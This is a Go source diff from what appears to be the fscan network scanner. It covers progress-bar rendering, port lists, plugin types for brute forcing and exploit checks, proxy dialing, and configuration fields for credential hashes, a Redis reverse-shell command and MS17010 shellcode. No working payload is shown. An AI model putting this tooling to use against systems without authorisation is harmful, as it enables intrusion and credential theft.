// GetProgressManager 获取全局进度条管理器
func GetProgressManager() *ProgressManager {
progressMutex.Lock()
defer progressMutex.Unlock()
if globalProgressManager == nil {
globalProgressManager = &ProgressManager{
enabled: true,
reservedLines: 2, // 保留2行进度条 + 空行
terminalHeight: getTerminalHeight(),
}
}
return globalProgressManager
}
// InitProgress 初始化进度条
func (pm *ProgressManager) InitProgress(total int64, description string) {
if !ShowProgress || Silent {
pm.enabled = false
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.total = total
pm.current = 0
pm.description = description
pm.startTime = time.Now()
pm.isActive = true
pm.enabled = true
pm.lastActivity = time.Now()
pm.spinnerIndex = 0
pm.lastMemUpdate = time.Now().Add(-2 * time.Second) // 强制首次更新内存
// 为进度条保留空间
pm.setupProgressSpace()
// 启动活跃指示器
pm.startActivityIndicator()
// 初始显示进度条
pm.renderProgress()
}
// UpdateProgress 更新进度
func (pm *ProgressManager) UpdateProgress(increment int64) {
if !pm.enabled || !pm.isActive {
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.current += increment
if pm.current > pm.total {
pm.current = pm.total
}
// 更新活跃时间
pm.lastActivity = time.Now()
pm.renderProgress()
}
// =============================================================================================
// 已删除的死代码未使用SetProgress 设置当前进度
// =============================================================================================
// FinishProgress 完成进度条
func (pm *ProgressManager) FinishProgress() {
if !pm.enabled || !pm.isActive {
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.current = pm.total
pm.renderProgress()
// 停止活跃指示器
pm.stopActivityIndicator()
// 显示完成信息
pm.showCompletionInfo()
// 清理进度条区域,恢复正常输出
pm.clearProgressArea()
pm.isActive = false
}
// setupProgressSpace 设置进度条空间
func (pm *ProgressManager) setupProgressSpace() {
// 简化设计:进度条在原地更新,不需要预留额外空间
// 只是标记进度条开始的位置
pm.lastContentLine = 0
}
// =============================================================================================
// 已删除的死代码未使用moveToContentArea 和 moveToProgressLine 方法
// =============================================================================================
// renderProgress 渲染进度条(使用锁避免输出冲突)
func (pm *ProgressManager) renderProgress() {
pm.outputMutex.Lock()
defer pm.outputMutex.Unlock()
pm.renderProgressUnsafe()
}
// generateProgressBar 生成进度条字符串
func (pm *ProgressManager) generateProgressBar() string {
if pm.total == 0 {
spinner := pm.getActivityIndicator()
memInfo := pm.getMemoryInfo()
return fmt.Sprintf("%s %s 等待中... %s", pm.description, spinner, memInfo)
}
percentage := float64(pm.current) / float64(pm.total) * 100
elapsed := time.Since(pm.startTime)
// 获取并发状态
concurrencyStatus := GetConcurrencyMonitor().GetConcurrencyStatus()
// 计算预估剩余时间
var eta string
if pm.current > 0 {
totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current)
remaining := totalTime - elapsed
if remaining > 0 {
eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
}
}
// 计算速度
speed := float64(pm.current) / elapsed.Seconds()
speedStr := ""
if speed > 0 {
speedStr = fmt.Sprintf(" (%.1f/s)", speed)
}
// 生成进度条
barWidth := 30
filled := int(percentage * float64(barWidth) / 100)
bar := ""
if NoColor {
// 无颜色版本
bar = "[" +
fmt.Sprintf("%s%s",
string(make([]rune, filled)),
string(make([]rune, barWidth-filled))) +
"]"
for i := 0; i < filled; i++ {
bar = bar[:i+1] + "=" + bar[i+2:]
}
for i := filled; i < barWidth; i++ {
bar = bar[:i+1] + "-" + bar[i+2:]
}
} else {
// 彩色版本
bar = "|"
for i := 0; i < barWidth; i++ {
if i < filled {
bar += "#"
} else {
bar += "."
}
}
bar += "|"
}
// 生成活跃指示器
spinner := pm.getActivityIndicator()
// 构建基础进度条
baseProgress := fmt.Sprintf("%s %s %6.1f%% %s (%d/%d)%s%s",
pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta)
// 添加内存信息
memInfo := pm.getMemoryInfo()
// 添加并发状态
if concurrencyStatus != "" {
return fmt.Sprintf("%s [%s] %s", baseProgress, concurrencyStatus, memInfo)
}
return fmt.Sprintf("%s %s", baseProgress, memInfo)
}
// showCompletionInfo 显示完成信息
func (pm *ProgressManager) showCompletionInfo() {
elapsed := time.Since(pm.startTime)
// 换行并显示完成信息
fmt.Print("\n")
completionMsg := i18n.GetText("progress_scan_completed")
if NoColor {
fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
} else {
fmt.Printf("\033[32m[完成] %s %d/%d\033[0m \033[90m(耗时: %s)\033[0m\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
}
}
// clearProgressArea 清理进度条区域
func (pm *ProgressManager) clearProgressArea() {
// 简单清除当前行
fmt.Print("\033[2K\r")
}
// IsActive 检查进度条是否活跃
func (pm *ProgressManager) IsActive() bool {
pm.mu.RLock()
defer pm.mu.RUnlock()
return pm.isActive && pm.enabled
}
// getTerminalHeight 获取终端高度
func getTerminalHeight() int {
// 对于固定底部进度条,我们暂时禁用终端高度检测
// 因为在不同终端环境中可能会有问题
// 改为使用相对定位方式
return 0 // 返回0表示使用简化模式
}
// formatDuration 格式化时间间隔
func formatDuration(d time.Duration) string {
if d < time.Minute {
return fmt.Sprintf("%.1fs", d.Seconds())
} else if d < time.Hour {
return fmt.Sprintf("%.1fm", d.Minutes())
} else {
return fmt.Sprintf("%.1fh", d.Hours())
}
}
// 全局函数,方便其他模块调用
func InitProgressBar(total int64, description string) {
GetProgressManager().InitProgress(total, description)
}
func UpdateProgressBar(increment int64) {
GetProgressManager().UpdateProgress(increment)
}
// =============================================================================================
// 已删除的死代码未使用SetProgressBar 全局函数
// =============================================================================================
func FinishProgressBar() {
GetProgressManager().FinishProgress()
}
func IsProgressActive() bool {
return GetProgressManager().IsActive()
}
// =============================================================================
// 日志输出协调功能
// =============================================================================
// LogWithProgress 在进度条活跃时协调日志输出
func LogWithProgress(message string) {
pm := GetProgressManager()
if !pm.IsActive() {
// 如果进度条不活跃,直接输出
fmt.Println(message)
return
}
pm.outputMutex.Lock()
defer pm.outputMutex.Unlock()
// 清除当前行(清除进度条)
fmt.Print("\033[2K\r")
// 输出日志消息
fmt.Println(message)
// 重绘进度条
pm.renderProgressUnsafe()
}
// renderProgressUnsafe 不加锁的进度条渲染(内部使用)
func (pm *ProgressManager) renderProgressUnsafe() {
if !pm.enabled || !pm.isActive {
return
}
// 移动到行首并清除当前行
fmt.Print("\033[2K\r")
// 生成进度条内容
progressBar := pm.generateProgressBar()
// 输出进度条(带颜色,如果启用)
if NoColor {
fmt.Print(progressBar)
} else {
fmt.Printf("\033[36m%s\033[0m", progressBar) // 青色
}
// 刷新输出
os.Stdout.Sync()
}
// =============================================================================
// 活跃指示器相关方法
// =============================================================================
// startActivityIndicator 启动活跃指示器
func (pm *ProgressManager) startActivityIndicator() {
// 防止重复启动
if pm.activityTicker != nil {
return
}
pm.activityTicker = time.NewTicker(activityUpdateInterval)
pm.stopActivityChan = make(chan struct{})
go func() {
for {
select {
case <-pm.activityTicker.C:
// 只有在活跃状态下才更新指示器
if pm.isActive && pm.enabled {
pm.mu.Lock()
pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
pm.mu.Unlock()
// 只有在长时间没有进度更新时才重新渲染
// 这样可以避免频繁更新时的性能问题
if time.Since(pm.lastActivity) > 2*time.Second {
pm.renderProgress()
}
}
case <-pm.stopActivityChan:
return
}
}
}()
}
// stopActivityIndicator 停止活跃指示器
func (pm *ProgressManager) stopActivityIndicator() {
if pm.activityTicker != nil {
pm.activityTicker.Stop()
pm.activityTicker = nil
}
if pm.stopActivityChan != nil {
close(pm.stopActivityChan)
pm.stopActivityChan = nil
}
}
// getActivityIndicator 获取当前活跃指示器字符
func (pm *ProgressManager) getActivityIndicator() string {
// 如果最近有活动2秒内显示静态指示器
if time.Since(pm.lastActivity) <= 2*time.Second {
return "●" // 实心圆表示活跃
}
// 如果长时间没有活动,显示旋转指示器表明程序仍在运行
return spinnerChars[pm.spinnerIndex]
}
// getMemoryInfo 获取内存使用信息
func (pm *ProgressManager) getMemoryInfo() string {
// 限制内存统计更新频率以提高性能(每秒最多一次)
now := time.Now()
if now.Sub(pm.lastMemUpdate) >= time.Second {
runtime.ReadMemStats(&pm.memStats)
pm.lastMemUpdate = now
}
// 获取当前使用的内存以MB为单位
memUsedMB := float64(pm.memStats.Alloc) / 1024 / 1024
// 根据内存使用量选择颜色
var colorCode string
if NoColor {
return fmt.Sprintf("内存:%.1fMB", memUsedMB)
}
// 根据内存使用量设置颜色
if memUsedMB < 50 {
colorCode = "\033[32m" // 绿色 - 内存使用较低
} else if memUsedMB < 100 {
colorCode = "\033[33m" // 黄色 - 内存使用中等
} else {
colorCode = "\033[31m" // 红色 - 内存使用较高
}
return fmt.Sprintf("%s内存:%.1fMB\033[0m", colorCode, memUsedMB)
}

View File

@ -1,41 +0,0 @@
package base
/*
Constants.go - 核心常量定义
整合Ports.go等常量文件统一管理所有核心常量
*/
// =============================================================================
// 端口常量 (从Ports.go迁移)
// =============================================================================
// 预定义端口组常量
var (
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
AllPorts = "1-65535"
)
// =============================================================================
// 扫描模式常量
// =============================================================================
const (
ScanModeAll = "all" // 全扫描模式
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
DefaultThreadNum = 600 // 默认线程数
DefaultTimeout = 3 // 默认超时时间(秒)
DefaultScanMode = ScanModeAll // 默认扫描模式
DefaultLanguage = "zh" // 默认语言
DefaultLogLevel = "base" // 默认日志级别
)

View File

@ -1,85 +0,0 @@
package base
import (
"sync"
"github.com/shadow1ng/fscan/common/config"
)
// =============================================================================
// 全局配置变量
// =============================================================================
var (
// 核心扫描配置
ScanMode string // 扫描模式
ThreadNum int // 线程数
Timeout int64 // 超时时间
DisablePing bool // 禁用ping
LocalMode bool // 本地模式
LocalPlugin string // 本地插件选择
// 基础认证配置
Username string // 用户名
Password string // 密码
Userdict map[string][]string // 用户字典
Passwords []string // 密码列表
// 网络配置
HttpProxy string // HTTP代理
Socks5Proxy string // SOCKS5代理
// 显示控制
NoColor bool // 禁用颜色
Language string // 语言
LogLevel string // 日志级别
// 端口映射
PortMap map[int][]string // 端口映射
DefaultMap []string // 默认映射
// 初始化锁
initOnce sync.Once
)
// =============================================================================
// 简化的初始化函数
// =============================================================================
// InitGlobalConfig 初始化全局配置
func InitGlobalConfig() {
initOnce.Do(func() {
// 设置默认值
ScanMode = DefaultScanMode
ThreadNum = DefaultThreadNum
Timeout = DefaultTimeout
LogLevel = DefaultLogLevel
Language = DefaultLanguage
// 初始化映射和切片
Userdict = make(map[string][]string)
PortMap = make(map[int][]string)
DefaultMap = make([]string, 0)
// 从config模块获取字典和映射
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
Userdict = serviceDict.GetAllUserDicts()
Passwords = serviceDict.GetPasswords()
}
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
PortMap = probeMapping.GetAllPortMappings()
DefaultMap = probeMapping.GetDefaultProbes()
}
})
}
// =============================================================================
// 访问器函数已移除(未使用的死代码)
// 直接使用全局变量进行访问
// =============================================================================
// init 自动初始化
func init() {
InitGlobalConfig()
}

View File

@ -1,149 +0,0 @@
package base
import (
"sync"
)
/*
Plugin.go - 插件系统管理
整合Types.go中的插件系统提供统一的插件注册和管理机制
*/
// =============================================================================
// 核心数据结构 (从Types.go迁移)
// =============================================================================
// HostInfo 主机信息结构
type HostInfo struct {
Host string // 主机地址
Ports string // 端口范围
Url string // URL地址
Infostr []string // 附加信息
}
// =============================================================================
// 插件类型常量
// =============================================================================
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
PluginTypeBrute = "brute" // 暴力破解插件
PluginTypePoc = "poc" // POC验证插件
PluginTypeScan = "scan" // 扫描探测插件
)
// =============================================================================
// 插件定义和管理
// =============================================================================
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Version string // 插件版本
Description string // 插件描述
Author string // 插件作者
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
Priority int // 插件优先级(数字越小优先级越高)
Enabled bool // 是否启用
ScanFunc func(*HostInfo) error // 扫描函数
}
// PluginManager 插件管理器
type PluginManager struct {
mu sync.RWMutex
plugins map[string]*ScanPlugin
types map[string][]*ScanPlugin // 按类型索引的插件
ports map[int][]*ScanPlugin // 按端口索引的插件
}
// 全局插件管理器实例
var globalPluginManager = NewPluginManager()
// NewPluginManager 创建新的插件管理器
func NewPluginManager() *PluginManager {
return &PluginManager{
plugins: make(map[string]*ScanPlugin),
types: make(map[string][]*ScanPlugin),
ports: make(map[int][]*ScanPlugin),
}
}
// =============================================================================
// 插件基础方法
// =============================================================================
// HasType 检查插件是否具有指定类型
func (p *ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// IsEnabled 检查插件是否启用
func (p *ScanPlugin) IsEnabled() bool {
return p.Enabled
}
// GetInfo 获取插件基本信息
func (p *ScanPlugin) GetInfo() map[string]interface{} {
return map[string]interface{}{
"name": p.Name,
"version": p.Version,
"description": p.Description,
"author": p.Author,
"types": p.Types,
"ports": p.Ports,
"priority": p.Priority,
"enabled": p.Enabled,
}
}
// =============================================================================
// 插件管理器方法
// =============================================================================
// 已移除未使用的 RegisterPlugin 方法
// ========================================================================================
// 未使用的插件管理器方法已删除(死代码清理)
// 包括GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins,
// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount
// ========================================================================================
// =============================================================================
// 全局插件管理函数 (保持向后兼容)
// =============================================================================
// 已移除未使用的 RegisterPlugin 方法
// 已移除未使用的 Clear 方法
// 已移除未使用的 ClearPluginsByType 方法
// GetGlobalPluginManager 方法已删除(死代码清理)
// 向后兼容的全局变量 (已废弃建议使用PluginManager)
var LegacyPluginManager = make(map[string]ScanPlugin)

View File

@ -1,235 +0,0 @@
package common
/*
common.go - 简化的统一入口
移除所有向后兼容层提供清晰的模块化接口
直接导出各子模块的核心功能避免代码债务
*/
import (
"context"
"crypto/tls"
"fmt"
"net"
"sync"
"time"
"github.com/shadow1ng/fscan/common/base"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/common/proxy"
)
// =============================================================================
// 核心类型导出 - 直接从core模块导出
// =============================================================================
type HostInfo = base.HostInfo
type ScanPlugin = base.ScanPlugin
// 插件类型常量
const (
PluginTypeWeb = base.PluginTypeWeb
PluginTypeLocal = base.PluginTypeLocal
)
// 全局插件管理器
var PluginManager = base.LegacyPluginManager
// =============================================================================
// 核心功能导出 - 直接调用对应模块
// =============================================================================
// 已移除未使用的 RegisterPlugin 方法
// GetGlobalPluginManager 函数已删除(死代码清理)
// =============================================================================
// 日志系统简化接口
// =============================================================================
var globalLogger *logging.Logger
var loggerMutex sync.Mutex
func getGlobalLogger() *logging.Logger {
loggerMutex.Lock()
defer loggerMutex.Unlock()
if globalLogger == nil {
level := getLogLevelFromString(LogLevel)
config := &logging.LoggerConfig{
Level: level,
EnableColor: !NoColor,
SlowOutput: false,
ShowProgress: ShowProgress,
StartTime: StartTime,
}
globalLogger = logging.NewLogger(config)
if ProgressBar != nil {
globalLogger.SetProgressBar(ProgressBar)
}
globalLogger.SetOutputMutex(&OutputMutex)
// 设置协调输出函数使用LogWithProgress
globalLogger.SetCoordinatedOutput(LogWithProgress)
}
return globalLogger
}
func getLogLevelFromString(levelStr string) logging.LogLevel {
switch levelStr {
case "all", "ALL":
return logging.LevelAll
case "error", "ERROR":
return logging.LevelError
case "base", "BASE":
return logging.LevelBase
case "info", "INFO":
return logging.LevelInfo
case "success", "SUCCESS":
return logging.LevelSuccess
case "debug", "DEBUG":
return logging.LevelDebug
case "info,success":
return logging.LevelInfoSuccess
case "base,info,success", "BASE_INFO_SUCCESS":
return logging.LevelBaseInfoSuccess
default:
return logging.LevelInfoSuccess
}
}
// 日志函数
func InitLogger() {
loggerMutex.Lock()
globalLogger = nil
loggerMutex.Unlock()
getGlobalLogger().Initialize()
}
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
func LogBase(msg string) { getGlobalLogger().Base(msg) }
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
func LogSuccess(result string) { getGlobalLogger().Success(result) }
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
// =============================================================================
// 输出系统简化接口
// =============================================================================
var ResultOutput *output.Manager
func InitOutput() error {
if Outputfile == "" {
return fmt.Errorf("output file not specified")
}
var format output.OutputFormat
switch OutputFormat {
case "txt":
format = output.FormatTXT
case "json":
format = output.FormatJSON
case "csv":
format = output.FormatCSV
default:
return fmt.Errorf("invalid output format: %s", OutputFormat)
}
config := output.DefaultManagerConfig(Outputfile, format)
manager, err := output.NewManager(config)
if err != nil {
return err
}
ResultOutput = manager
return nil
}
func CloseOutput() error {
if ResultOutput == nil {
return nil
}
return ResultOutput.Close()
}
func SaveResult(result *output.ScanResult) error {
if ResultOutput == nil {
return fmt.Errorf("output not initialized")
}
return ResultOutput.SaveResult(result)
}
// =============================================================================
// 网络连接辅助函数
// =============================================================================
// WrapperTcpWithTimeout TCP连接包装器带超时
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
return net.DialTimeout(network, address, timeout)
}
// WrapperTcpWithContext TCP连接包装器带上下文和代理支持
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
// 检查是否配置了SOCKS5代理
if Socks5Proxy != "" {
proxyConfig := &proxy.ProxyConfig{
Type: proxy.ProxyTypeSOCKS5,
Address: Socks5Proxy,
Timeout: time.Second * 10,
}
proxyManager := proxy.NewProxyManager(proxyConfig)
dialer, err := proxyManager.GetDialer()
if err != nil {
LogDebug(fmt.Sprintf("SOCKS5代理连接失败回退到直连: %v", err))
// 代理失败时回退到直连
var d net.Dialer
return d.DialContext(ctx, network, address)
}
LogDebug(fmt.Sprintf("使用SOCKS5代理连接: %s -> %s", Socks5Proxy, address))
return dialer.DialContext(ctx, network, address)
}
// 没有配置代理,使用直连
var d net.Dialer
return d.DialContext(ctx, network, address)
}
// WrapperTlsWithContext TLS连接包装器带上下文和代理支持
func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
// 检查是否配置了SOCKS5代理
if Socks5Proxy != "" {
proxyConfig := &proxy.ProxyConfig{
Type: proxy.ProxyTypeSOCKS5,
Address: Socks5Proxy,
Timeout: time.Second * 10,
}
proxyManager := proxy.NewProxyManager(proxyConfig)
tlsDialer, err := proxyManager.GetTLSDialer()
if err != nil {
LogDebug(fmt.Sprintf("SOCKS5代理TLS连接失败回退到直连: %v", err))
// 代理失败时回退到直连
d := &tls.Dialer{Config: config}
return d.DialContext(ctx, network, address)
}
LogDebug(fmt.Sprintf("使用SOCKS5代理TLS连接: %s -> %s", Socks5Proxy, address))
return tlsDialer.DialTLSContext(ctx, network, address, config)
}
// 没有配置代理,使用直连
d := &tls.Dialer{Config: config}
return d.DialContext(ctx, network, address)
}
// =============================================================================
// 错误处理辅助函数
// =============================================================================
// CheckErrs 检查单个错误 - 简化版本
func CheckErrs(err error) error {
return err
}

View File

@ -1,81 +0,0 @@
package config
import (
"sync"
)
// ProbeMapping 探测器映射管理器
type ProbeMapping struct {
mu sync.RWMutex
defaultMap []string
portMap map[int][]string
initialized bool
}
// NewProbeMapping 创建探测器映射管理器
func NewProbeMapping() *ProbeMapping {
return &ProbeMapping{
defaultMap: getDefaultProbeMap(),
portMap: getDefaultPortMap(),
initialized: true,
}
}
// getDefaultProbeMap 获取默认的探测器顺序
func getDefaultProbeMap() []string {
// 返回常量的副本
result := make([]string, len(DefaultProbeMap))
copy(result, DefaultProbeMap)
return result
}
// getDefaultPortMap 获取默认的端口映射
func getDefaultPortMap() map[int][]string {
// 返回常量的深拷贝
result := make(map[int][]string)
for port, probes := range DefaultPortMap {
probesCopy := make([]string, len(probes))
copy(probesCopy, probes)
result[port] = probesCopy
}
return result
}
// GetDefaultProbes 获取默认探测器列表
func (pm *ProbeMapping) GetDefaultProbes() []string {
pm.mu.RLock()
defer pm.mu.RUnlock()
result := make([]string, len(pm.defaultMap))
copy(result, pm.defaultMap)
return result
}
// GetAllPortMappings 获取所有端口映射
func (pm *ProbeMapping) GetAllPortMappings() map[int][]string {
pm.mu.RLock()
defer pm.mu.RUnlock()
result := make(map[int][]string)
for port, probes := range pm.portMap {
probesCopy := make([]string, len(probes))
copy(probesCopy, probes)
result[port] = probesCopy
}
return result
}
// 全局探测器映射实例
var (
globalProbeMapping *ProbeMapping
probeMappingOnce sync.Once
)
// GetGlobalProbeMapping 获取全局探测器映射实例
func GetGlobalProbeMapping() *ProbeMapping {
probeMappingOnce.Do(func() {
globalProbeMapping = NewProbeMapping()
})
return globalProbeMapping
}

View File

@ -1,82 +0,0 @@
package config
import (
"sync"
)
// ServiceDictionary 服务字典管理器
type ServiceDictionary struct {
mu sync.RWMutex
userDict map[string][]string
passwords []string
initialized bool
}
// NewServiceDictionary 创建服务字典管理器
func NewServiceDictionary() *ServiceDictionary {
return &ServiceDictionary{
userDict: getDefaultUserDict(),
passwords: getDefaultPasswords(),
initialized: true,
}
}
// getDefaultUserDict 获取默认用户字典
func getDefaultUserDict() map[string][]string {
// 返回常量的深拷贝
result := make(map[string][]string)
for service, users := range DefaultUserDict {
usersCopy := make([]string, len(users))
copy(usersCopy, users)
result[service] = usersCopy
}
return result
}
// getDefaultPasswords 获取默认密码字典
func getDefaultPasswords() []string {
// 返回常量的副本
result := make([]string, len(DefaultPasswords))
copy(result, DefaultPasswords)
return result
}
// GetAllUserDicts 获取所有服务的用户字典
func (sd *ServiceDictionary) GetAllUserDicts() map[string][]string {
sd.mu.RLock()
defer sd.mu.RUnlock()
result := make(map[string][]string)
for service, users := range sd.userDict {
usersCopy := make([]string, len(users))
copy(usersCopy, users)
result[service] = usersCopy
}
return result
}
// GetPasswords 获取默认密码字典
func (sd *ServiceDictionary) GetPasswords() []string {
sd.mu.RLock()
defer sd.mu.RUnlock()
// 返回副本,避免外部修改
result := make([]string, len(sd.passwords))
copy(result, sd.passwords)
return result
}
// 全局服务字典实例
var (
globalServiceDict *ServiceDictionary
serviceDictOnce sync.Once
)
// GetGlobalServiceDict 获取全局服务字典实例
func GetGlobalServiceDict() *ServiceDictionary {
serviceDictOnce.Do(func() {
globalServiceDict = NewServiceDictionary()
})
return globalServiceDict
}

View File

@ -1,150 +0,0 @@
package config
import (
"sync"
"time"
"github.com/schollz/progressbar/v3"
)
// Version 版本信息
type Version struct {
Major int `json:"major"`
Minor int `json:"minor"`
Patch int `json:"patch"`
Full string `json:"full"`
}
// ApplicationConfig 应用程序配置
type ApplicationConfig struct {
Version Version `json:"version"`
ProgressBar *progressbar.ProgressBar `json:"-"`
OutputMutex sync.Mutex `json:"-"`
}
// ScanTargetConfig 扫描目标配置
type ScanTargetConfig struct {
Ports string `json:"ports"` // 要扫描的端口列表
ExcludePorts string `json:"exclude_ports"` // 要排除的端口列表
ExcludeHosts string `json:"exclude_hosts"` // 要排除的主机列表
AddPorts string `json:"add_ports"` // 额外添加的端口列表
HostPort []string `json:"host_port"` // 主机:端口格式的目标列表
}
// CredentialConfig 认证凭据配置
type CredentialConfig struct {
Username string `json:"username"` // 用于认证的用户名
Password string `json:"password"` // 用于认证的密码
AddUsers string `json:"add_users"` // 额外添加的用户名列表
AddPasswords string `json:"add_passwords"` // 额外添加的密码列表
Domain string `json:"domain"` // Active Directory/SMB域名
HashValue string `json:"hash_value"` // 用于哈希认证的单个哈希值
HashValues []string `json:"hash_values"` // 哈希值列表
HashBytes [][]byte `json:"-"` // 二进制格式的哈希值列表
HashFile string `json:"hash_file"` // 包含哈希值的文件路径
SshKeyPath string `json:"ssh_key_path"` // SSH私钥文件路径
}
// ScanControlConfig 扫描控制配置
type ScanControlConfig struct {
ScanMode string `json:"scan_mode"` // 扫描模式或指定的插件列表
ThreadNum int `json:"thread_num"` // 并发扫描线程数
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
// LiveTop 已移除,改为智能控制
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
}
// InputFileConfig 输入文件配置
type InputFileConfig struct {
HostsFile string `json:"hosts_file"` // 包含目标主机的文件路径
UsersFile string `json:"users_file"` // 包含用户名列表的文件路径
PasswordsFile string `json:"passwords_file"` // 包含密码列表的文件路径
PortsFile string `json:"ports_file"` // 包含端口列表的文件路径
}
// WebScanConfig Web扫描配置
type WebScanConfig struct {
TargetURL string `json:"target_url"` // 单个目标URL
URLsFile string `json:"urls_file"` // 包含URL列表的文件路径
URLs []string `json:"urls"` // 解析后的URL目标列表
WebTimeout int64 `json:"web_timeout"` // Web请求超时时间(秒)
HttpProxy string `json:"http_proxy"` // HTTP代理地址
Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理地址
}
// VulnExploitConfig POC与漏洞利用配置
type VulnExploitConfig struct {
// POC配置
PocPath string `json:"poc_path"` // POC脚本路径
PocInfo PocInfo `json:"poc_info"` // POC详细信息结构
DisablePocScan bool `json:"disable_poc_scan"` // 是否禁用POC扫描
// Redis利用
RedisFile string `json:"redis_file"` // Redis利用目标文件
RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
// 其他漏洞利用
Shellcode string `json:"shellcode"` // 用于MS17010等漏洞利用的Shellcode
}
// BruteForceConfig 暴力破解控制配置
type BruteForceConfig struct {
DisableBrute bool `json:"disable_brute"` // 是否禁用暴力破解模块
MaxRetries int `json:"max_retries"` // 连接失败最大重试次数
}
// DisplayConfig 输出与显示配置
type DisplayConfig struct {
DisableSave bool `json:"disable_save"` // 是否禁止保存扫描结果
Silent bool `json:"silent"` // 是否启用静默模式
NoColor bool `json:"no_color"` // 是否禁用彩色输出
LogLevel string `json:"log_level"` // 日志输出级别
DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
Language string `json:"language"` // 界面语言设置
}
// OutputConfig 输出配置
type OutputConfig struct {
Outputfile string `json:"output_file"` // 输出文件路径
OutputFormat string `json:"output_format"` // 输出格式
}
// NetworkConfig 网络配置
type NetworkConfig struct {
UserAgent string `json:"user_agent"` // 用户代理字符串
Accept string `json:"accept"` // Accept头部
DnsLog bool `json:"dns_log"` // 是否启用DNS日志
PocNum int `json:"poc_num"` // POC并发数
PocFull bool `json:"poc_full"` // 是否启用完整POC扫描
Cookie string `json:"cookie"` // Cookie字符串
}
// PocInfo POC详细信息结构
type PocInfo struct {
Target string `json:"target"`
PocName string `json:"poc_name"`
}
// Config 完整的配置结构
type Config struct {
Application *ApplicationConfig `json:"application"`
ScanTarget *ScanTargetConfig `json:"scan_target"`
Credential *CredentialConfig `json:"credential"`
ScanControl *ScanControlConfig `json:"scan_control"`
InputFile *InputFileConfig `json:"input_file"`
WebScan *WebScanConfig `json:"web_scan"`
VulnExploit *VulnExploitConfig `json:"vuln_exploit"`
BruteForce *BruteForceConfig `json:"brute_force"`
Display *DisplayConfig `json:"display"`
